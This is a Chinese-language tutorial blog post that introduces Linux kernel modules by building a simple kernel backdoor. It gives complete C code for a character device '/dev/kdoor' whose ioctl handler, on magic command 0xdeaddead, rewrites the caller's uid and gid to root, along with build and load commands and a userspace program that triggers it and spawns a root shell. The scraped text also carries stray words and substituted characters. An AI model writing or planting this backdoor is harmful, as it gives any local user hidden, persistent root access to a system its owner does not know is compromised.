Linux内核模块入门之简单内核后门

内核模块简介

Linux内核支持运行时动态扩展,即运行时动态加载内核扩展模块(.ko文件),ko文件所包含的代码经加载后即成为内核代码的一部分,拥有内核特权,能够调用内核其它组件,访问内核空间数据以及操做硬件。固然也有跟内核代码同样的限制,如较小的函数调用栈,不支持浮点运算等。node

此处列举一些内核模块特有的能力:shell

  • 硬件驱动。内核模块做为硬件的驱动程序,这应该是内核模块最主要的设计目标。
  • 进程控制。内核态对进程有彻底的控制权,如权限提高(如内核后门)、信号挂起(如保护某个进程不被kill -9误杀)。
  • 内核扩展。内核有一些扩展点,是须要用模块来完成的(Linux的防火墙框架netfilter)。

此外,因为众所周知的缘由,开发内核模块,只能使用C语言。数组

内核模块与用户空间的接口

内核和用户空间的通讯,主要有如下几种方式:安全

  • 系统调用
  • ioctl
  • proc
  • netlink

其中,系统调用是最直接的,但不适用于内核模块,由于扩展系统调用须要编译整个内核,这违背了运行时动态扩展的初衷;/proc是一个伪文件系统,能够用于传递信息,但没法作到实时,由于文件系统是被动的;netlink接口相似socket,提供内核和用户态间的双向通讯,功能上彻底没问题,但用起来有些复杂,适合作更重要的事情。因此,这里用ioctl来实现。bash

ioctl是针对文件的操做,因此这里的套路是:建立一个设备文件,并把内核模块指定为这个设备文件的驱动程序。这样,用户空间对这个设备文件发出的ioctl指令,便可传达给内核模块框架

内核后门思路

因为内核代码拥有系统最高权限(固然,装载内核模块须要root权限,不然系统就没有安全性可言了),故能够在内核模块中留下后门,以便随后的某个时刻获取系统最高权限。其实现思路很简单,内核模块加载后做为内核一部分运行,用户空间进程经过ioctl调用内核模块中的函数,内核模块将调用者进程的uid和gid设置为root,便可实现权限提高。另外,因为内核模块是跟内核运行在一块儿的,故这种后门是没有进程的。socket

具体实现

声明初始化和结束入口

//其中init和cleanup是模块里实现的函数,会在下面介绍
module_init(init);
module_exit(cleanup);
复制代码

内核模块被加载和卸载时,相应的初始化和清理函数被调用,通常是作一些资源的申请、释放操做。函数

设备注册

分配设备号,并指定模块中的函数做为设备驱动例程,这个过程通常在模块的初始化函数里实现,模块的初始化函数在模块被加载时被自动调用:ui

static int init(void) {
   const char *const dev_name = "/dev/kdoor";
   g_major = register_chrdev(0, dev_name, &fops);
   if (g_major < 0) {
       return g_major;
   }
   return 0;
}
复制代码

其中的fops是一个函数指针数组,用于指定设备驱动函数地址,这里只须要注册响应打开文件,关闭文件和ioctl的函数:spa

static struct file_operations fops = {
    .owner = THIS_MODULE,
    .open = device_open,
    .release = device_release,
    .unlocked_ioctl = device_ioctl
};
复制代码

同理,须要在模块被卸载时卸载驱动。释放设备号资源:

static void cleanup(void) {
    //这个dev_name将出如今/proc/devices里
    const char *const dev_name = "/dev/kdoor";
    unregister_chrdev(g_major, dev_name);
}
复制代码

处理设备打开

有进程打开相应设备文件时,该函数被自动调用,这里因为功能太简单,什么都不须要作,返回成功便可:

static int device_open(struct inode *inode, struct file *file) {
    return 0;
}
复制代码

响应ioctl

有进程在设备文件上调用ioctl时,该函数被自动调用,咱们的后门功能也就在这里完成:

static long device_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) {
    //涉及到Linux的RCU操做,不能直接赋值,稍微有点繁琐但并不复杂
    struct cred *new_cred;
    kuid_t kuid = KUIDT_INIT(0);
    kgid_t kgid = KGIDT_INIT(0);
    if (cmd == 0xdeaddead) {
        new_cred = prepare_creds();
        if (new_cred == NULL) {
             return -ENOMEM;
        }
        new_cred->uid = kuid;
        new_cred->gid = kgid;
        new_cred->euid = kuid;
        new_cred->egid = kgid;
        commit_creds(new_cred);
    }
    return 0;
}
复制代码

处理设备关闭

设备文件描述符被关闭时,或者进程异常时,这个函数被自动调用,针对这个例子,这里依然什么都不须要作:

static int device_release(struct inode *inode, struct file *file) {
    return 0;
}
复制代码

后门的使用

编译内核模块

核心是一个特殊的Makefile:

ifneq ($(KERNELRELEASE),)
obj-m:=kdoor.o
else
PWD:=$(shell pwd)
KDIR:=/lib/modules/$(shell uname -r)/build
all:
        $(MAKE) -C $(KDIR) M=$(PWD)
clean:
        rm -rf *.o *.mod.c *.ko *.symvers *.order *.markers
endif
复制代码

另外,内核模块编译时,还须要安装内核开发目录。

加载模块

上述模块通过编译后,便可获得一个ko文件:

insmod ./kdoor.ko
复制代码

建立设备

使用mknod命令建立设备文件: 根据设备驱动编号建立设备文件,以便用户空间能够与内核模块通讯:

mknod /dev/kdoor c `grep KDoor /proc/devices|awk '{print $1}'` 0
复制代码

第二个参数c表示此处建立的是一个字符设备,第三个参数是设备号,能够从/proc/devices文件获取。

在用户空间使用这个后门(将调用进程权限提高为root)

直接上代码(留意注释):

int main(int argc, char *argv[]) {
    const char * const dev_name = "/dev/kdoor";
    //打开文件
    int fd = open(dev_name, O_RDWR);
    if (-1 == fd) {
        return 1;
    }
    //经过ioctl调用到模块中的实现
    int ret = ioctl(fd, 0xdeaddead, 0);
    if (ret != 0) {
        return 1;
    }
    //执行shell,此shell即拥有root权限
    execlp("sh", "sh", NULL);
    return 0;
}
复制代码

小结

本文经过开发一个简单内核后门(普通进程经过访问内核模块来提高权限)的开发,演示来内核模块的能力,以及模块做为设备驱动与用户空间通讯的通常套路,但愿能起到抛砖引玉的做用,至少让读者知道有内核模块这么一回事。

相关文章
相关标签/搜索